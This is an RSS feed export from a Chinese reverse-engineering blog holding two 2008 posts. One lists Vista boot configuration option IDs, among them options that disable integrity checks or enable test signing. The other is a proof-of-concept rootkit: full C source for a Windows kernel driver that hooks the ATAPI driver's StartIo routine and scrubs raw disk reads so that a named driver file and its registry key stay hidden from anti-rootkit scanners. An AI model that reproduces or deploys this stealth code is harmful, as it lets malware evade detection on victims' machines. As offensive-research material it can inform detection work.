<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; mj0011</title>
	<atom:link href="http://www.softrce.net/archives/author/mj0011/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Vista Bootmgr/Winload使用的大部分选项ID</title>
		<link>http://www.softrce.net/archives/14</link>
		<comments>http://www.softrce.net/archives/14#comments</comments>
		<pubDate>Sat, 18 Oct 2008 19:46:42 +0000</pubDate>
		<dc:creator>mj0011</dc:creator>
				<category><![CDATA[乾坤挪移（RCE）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/14</guid>
		<description><![CDATA[<h4>&#160;</h4><div class="tpc_content" id="read_tpc">vista bootmgr的选项存储在systemdevice\boot\bcd，这个HIVE文件类似以前的boot,ini <br /><br />boot.ini的选项在该HIVE中是以guid-&#62;option id的形式来体现的 <br /><br />除了保留了原来boot.ini可以使用的大部分选项外，还新增了许多选项，例如test signing, disable integrity checks,hypervisor debug options,cmdcons等等等 <br />...</div>
]]></description>
			<content:encoded><![CDATA[<h4></h4>
<div id="read_tpc" class="tpc_content">vista bootmgr的选项存储在systemdevice\boot\bcd，这个HIVE文件类似以前的boot,ini</p>
<p>boot.ini的选项在该HIVE中是以guid-&gt;option id的形式来体现的</p>
<p>除了保留了原来boot.ini可以使用的大部分选项外，还新增了许多选项，例如test signing, disable integrity checks,hypervisor debug options,cmdcons等等等</p>
<p>以下是我分析WINLOAD.EXE和bootmgr找出的一些选项ID(50个，包括大部分选项），通过这些选项ID可以查看、修改VISTA的许多启动设置（结合参考：<a href="http://www.debugman.com/read.php?tid=1999" target="_blank"><span style="color: #314d84;">http://www.debugman.com/read.php?tid=1999</span></a>） <span id="more-14"></span></p>
<p><span style="font-size: large;"><span style="font-family: fixedsys">10100002 os type<br />
12000002 boot loader path<br />
12000004 os name<br />
12000005 locate language<br />
12000016 target name<br />
15000007 max memory<br />
1500000d relocate physical memory range<br />
15000011 1394 or usb debug<br />
15000013 debug port(COM 1 ,2 ,3 4)<br />
15000014 brudrate<br />
15000022 redirect(COM 1, 2, 3,4)<br />
15000023 redirect baudrate<br />
15000047 config access policy (default or disallow low memory config)<br />
15000052 graphics resolution (800&#215;600 or 1024&#215;768)<br />
16000009: recovery<br />
16000010 Boot debugging<br />
16000048 disable integrity checks or no integrity checks!<br />
16000049 test signing<br />
22000001 “cmdcons” :cmdcons(Windows Recovery Console)<br />
“undo” roll back<br />
22000002 system root<br />
22000011 kernel =<br />
22000012 hal =<br />
23000006 default resume os<br />
24000001 os list<br />
24000010 memory test<br />
25000004 boot menu timeout<br />
25000020 DEP option(optin/optout/alwayson/alwaysoff)<br />
25000021 pae or nopae<br />
25000032 3GB user memory(user rva)<br />
25000071 MSI policy (default or force disable)<br />
25000072 pci express policy (default or force disable)<br />
25000080 safeboot :boot network or dsrepair<br />
250000f6 :hypervisor dbg ch<br />
26000004 stamp disks (stamp raw disk when winpe)<br />
26000010 detect hal<br />
26000026 disable integrity checks<br />
26000027 test signing<br />
26000040 base video<br />
26000041 (noguiboot, bootlogo)load bitmap logo : \osload800x600.bmp or \osload1024x768.bmp<br />
26000042 novesa<br />
26000051 use physical APIC<br />
26000060 one cpu<br />
26000062 max processor<br />
26000070 pci lock<br />
26000081 safeboot :boot minimal or minimal(alter nate shell)<br />
26000090 boot log<br />
26000091 SOS<br />
260000a0 debug or nodebug<br />
260000a1 kernel debug break on ntoskrnl</span></span></div>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/18" title="今天又地震～～">今天又地震～～</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2009年12月27日 -- <a href="http://www.softrce.net/archives/210" title="Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial">Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/14/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</title>
		<link>http://www.softrce.net/archives/13</link>
		<comments>http://www.softrce.net/archives/13#comments</comments>
		<pubDate>Sat, 18 Oct 2008 19:44:57 +0000</pubDate>
		<dc:creator>mj0011</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/13</guid>
		<description><![CDATA[<h4>&#160;</h4><div class="tpc_content" id="read_tpc">昨天晚上玩过游戏，睡觉前写了一点代码，下午醒来又稍微改了改<br /><br />只是POC~<br /><br />文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了，不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE，所以对于用API或者FSD的文件检查反而过不去~<br /><br />注册表的部分过FI<font size="2">LE CACHE的低强度解析（例如狙剑）也是过不了的~由于这方面工具很少，冰刃和DARKSPY又总是在我的虚拟机上蓝屏，所以就没仔细测试了~也许有问题~<br />...</font></div>
]]></description>
			<content:encoded><![CDATA[<h4></h4>
<div id="read_tpc" class="tpc_content">昨天晚上玩过游戏，睡觉前写了一点代码，下午醒来又稍微改了改</p>
<p>只是POC~</p>
<p>文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了，不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE，所以对于用API或者FSD的文件检查反而过不去~<span id="more-13"></span></p>
<p>注册表的部分过FI<span style="font-size: x-small;">LE CACHE的低强度解析（例如狙剑）也是过不了的~由于这方面工具很少，冰刃和DARKSPY又总是在我的虚拟机上蓝屏，所以就没仔细测试了~也许有问题~</span></p>
<p><span style="font-size: x-small;">hook了atapi.sys的StartIo例程（由IoStartPacket例程调用，SCSI REQUEST BLOCK最后会调用到这里），过滤磁盘访问~</span></p>
<p><span style="font-size: x-small;">目标是隐藏名为mj0011k.sys及其注册表项~<br />
绕过所有磁盘解析（例如狙剑、FILEREG、RKU、RKR)<br />
和总线解析（例如RKU发送SRB到ATAPI）</span></p>
<p><span style="font-size: x-small;">文件隐藏的handler直接照抄了AZY的代码 ^_^</span></p>
<p><span style="font-family: Fixedsys"><span style="font-size: x-small;"><br />
</span></p>
<h6 class="quote"><span style="font-size: x-small;"> </span></h6>
<blockquote id="code1"><p><span style="font-size: x-small;">ULONG oldstartio;<br />
PDRIVER_OBJECT atapi_dev ; </span></p>
<p><span style="font-size: x-small;">VOID unload(<br />
PDEVICE_OBJECT DeviceObject,<br />
PIRP Irp<br />
)<br />
{<br />
atapi_dev-&gt;DriverStartIo = oldstartio ;<br />
return ;<br />
}<br />
CHAR fileHide[] = “MJ0011K”;<br />
CHAR fileExt[] = “SYS”;<br />
WCHAR hideFile[] = L”MJ0011K.SYS”;<br />
typedef struct _INDEX_HEADER{<br />
UCHAR            magic[4];<br />
USHORT            UpdateSequenceOffset;<br />
USHORT            SizeInWords;<br />
LARGE_INTEGER    LogFileSeqNumber;<br />
LARGE_INTEGER    VCN;<br />
ULONG            IndexEntryOffset;    // needed!<br />
ULONG            IndexEntrySize;<br />
ULONG            AllocateSize;<br />
}INDEX_HEADER, *PINDEX_HEADER;</span></p>
<p><span style="font-size: x-small;">typedef struct _INDEX_ENTRY{<br />
LARGE_INTEGER        MFTReference;<br />
USHORT            Size;                // needed!<br />
USHORT            FileNameOffset;<br />
USHORT            Flags;<br />
USHORT            Padding;<br />
LARGE_INTEGER        MFTReferParent;<br />
LARGE_INTEGER        CreationTime;<br />
LARGE_INTEGER        ModifyTime;<br />
LARGE_INTEGER        FileRecModifyTime;<br />
LARGE_INTEGER        AccessTime;<br />
LARGE_INTEGER        AllocateSize;<br />
LARGE_INTEGER        RealSize;<br />
LARGE_INTEGER        FileFlags;<br />
UCHAR            FileNameLength;<br />
UCHAR            NameSpace;<br />
WCHAR            FileName[1];<br />
}INDEX_ENTRY, *PINDEX_ENTRY;</span></p>
<p><span style="font-size: x-small;">CHAR NtfsFileRecordHeader[] = “FILE”;<br />
CHAR NtfsIndexRootHeader[] = “INDX”;<br />
#define FILERECORDSIZE 1024<br />
ULONG xxlong = 0&#215;7 ;<br />
WCHAR regname[] = L”MJ0011K”;<br />
VOID HandleRegHide(PVOID buf , ULONG len )<br />
{<br />
ULONG i ;<br />
for (i = 0 ; i &lt; len  ; i ++)<br />
{<br />
if (i + 4 &gt;= len)<br />
{<br />
break ;<br />
}<br />
if (*(ULONG*)((ULONG)buf + i ) == xxlong)<br />
{<br />
if (i + 4 + xxlong * sizeof(WCHAR) &gt;= len)<br />
{<br />
break ;<br />
}</span></p>
<p><span style="font-size: x-small;"> if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))<br />
{<br />
RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));<br />
*(ULONG*)((ULONG)buf +i ) = 0 ;<br />
break ;<br />
}<br />
}<br />
}<br />
return ;<br />
}<br />
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)<br />
{<br />
ULONG i;<br />
BOOLEAN bIsNtfsIndex;<br />
BOOLEAN bIsNtfsFile;<br />
ULONG offset = 0;<br />
ULONG indexSize = 0;<br />
PINDEX_ENTRY currIndxEntry = NULL;<br />
PINDEX_ENTRY preIndxEntry = NULL;<br />
ULONG currPosition;</p>
<p>bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);<br />
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);</p>
<p>if(bIsNtfsFile == FALSE &amp;&amp; bIsNtfsIndex == FALSE)<br />
{</p>
<p>for(i = 0; i &lt; BufLen/0&#215;20; i++)<br />
{<br />
if(!_strnicmp(UserBuf, fileHide, 5) &amp;&amp; !_strnicmp((PVOID)((ULONG)UserBuf+0&#215;8), fileExt, 3))<br />
{</p>
<p>*(PUCHAR)UserBuf        = 0xe5;<br />
*(PULONG)((ULONG)UserBuf + 0&#215;1)    = 0;</p>
<p>break;</p>
<p>}</p>
<p>UserBuf = (PVOID)((ULONG)UserBuf + 0&#215;20);</p>
<p>}</p>
<p>} else if(bIsNtfsFile) {</p>
<p>//DbgPrint(“FILE0&#8230;”);</p>
<p>for(i = 0; i &lt; BufLen / FILERECORDSIZE; i++)<br />
{<br />
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))<br />
{<br />
memset((PVOID)UserBuf, 0, 0&#215;4);<br />
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);<br />
break;<br />
}</p>
<p>UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);</p>
<p>}<br />
&amp;nbs<br />
p;<br />
} else if(bIsNtfsIndex) {</p>
<p>//DbgPrint(“INDX&#8230;”);<br />
// Index Entries</p>
<p>offset = ((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset + 0&#215;18;<br />
indexSize = BufLen &#8211; offset;<br />
currPosition = 0;</p>
<p>currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);<br />
//DbgPrint(” &#8212; offset: 0x%x indexSize: 0x%x”, offset, indexSize);</p>
<p>while(currPosition &lt; indexSize &amp;&amp; currIndxEntry-&gt;Size &gt; 0 &amp;&amp; currIndxEntry-&gt;FileNameOffset &gt; 0)<br />
{<br />
if(!_wcsnicmp(currIndxEntry-&gt;FileName, hideFile, 9))<br />
{<br />
memset((PVOID)currIndxEntry-&gt;FileName, 0, 18);</p>
<p>if(currPosition == 0)<br />
{<br />
((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset += currIndxEntry-&gt;Size;<br />
break;<br />
}</p>
<p>preIndxEntry-&gt;Size += currIndxEntry-&gt;Size;</p>
<p>break;<br />
}</p>
<p>currPosition += currIndxEntry-&gt;Size;<br />
preIndxEntry = currIndxEntry;<br />
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry-&gt;Size);</p>
<p>}<br />
}<br />
}</span></p>
<p><span style="font-size: x-small;">VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )<br />
{<br />
PIO_STACK_LOCATION irp_stack ; </span></p>
<p><span style="font-size: x-small;"> irp_stack = IoGetCurrentIrpStackLocation(Irp);</span></p>
<p><span style="font-size: x-small;"> if (irp_stack-&gt;DeviceObject-&gt;DeviceType == FILE_DEVICE_DISK &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;Function == SRB_FUNCTION_EXECUTE_SCSI &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;CdbLength == 0xA &amp;&amp;<br />
(irp_stack-&gt;Parameters.Scsi.Srb-&gt;SrbFlags &amp; SRB_FLAGS_DATA_IN) &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataBuffer &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataTransferLength<br />
)</span></p>
<p><span style="font-size: x-small;"> {<br />
PVOID buf = irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataBuffer ;<br />
ULONG len = irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataTransferLength ;<br />
ULONG i ;<br />
PMDL mdl = Irp-&gt;MdlAddress ; </span></p>
<p><span style="font-size: x-small;"> KDMSG((“disk device bus read request!lba = %08x , len = %08x\n”,<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;QueueSortKey ,<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataTransferLength));</span></p>
<p><span style="font-size: x-small;"> __asm<br />
{<br />
push    Irp<br />
push    DeviceObject<br />
call    oldstartio<br />
}</span></p>
<p><span style="font-size: x-small;"><br />
buf = MmGetSystemAddressForMdl(mdl );</span></p>
<p><span style="font-size: x-small;"> HandleAkDiskHide(buf , len );<br />
HandleRegHide(buf , len);<br />
return ;</p>
<p>}<br />
__asm<br />
{<br />
push    Irp<br />
push    DeviceObject<br />
call    oldstartio<br />
}</span></p>
<p><span style="font-size: x-small;"> return ;<br />
}<br />
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)<br />
{<br />
UNICODE_STRING uniname ;<br />
NTSTATUS stat ; </span></p>
<p><span style="font-size: x-small;"> drvobj-&gt;DriverUnload = (PDRIVER_UNLOAD )unload ; </span></p>
<p><span style="font-size: x-small;"> RtlInitUnicodeString(&amp;uniname , L”\\Driver\\Atapi”);</span></p>
<p><span style="font-size: x-small;"> stat = ObReferenceObjectByName(&amp;uniname ,<br />
OBJ_CASE_INSENSITIVE ,<br />
NULL ,<br />
0,<br />
*IoDriverObjectType ,<br />
KernelMode ,<br />
NULL ,<br />
(PVOID*)&amp;atapi_dev);</span></p>
<p><span style="font-size: x-small;"> if (!NT_SUCCESS(stat))<br />
{<br />
KDMSG((“get atapi drvobj failed , stat = %08x\n” , stat));<br />
return stat ;<br />
}</span></p>
<p><span style="font-size: x-small;"> oldstartio = atapi_dev-&gt;DriverStartIo ;<br />
atapi_dev-&gt;DriverStartIo = mystartio;</span></p>
<p><span style="font-size: x-small;"> return STATUS_SUCCESS ;<br />
}</span></p></blockquote>
<p></span></div>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/15" rel="bookmark" title="Permanent Link: 构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器">构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2008年09月30日 -- <a href="http://www.softrce.net/archives/10" title="[国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/13/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

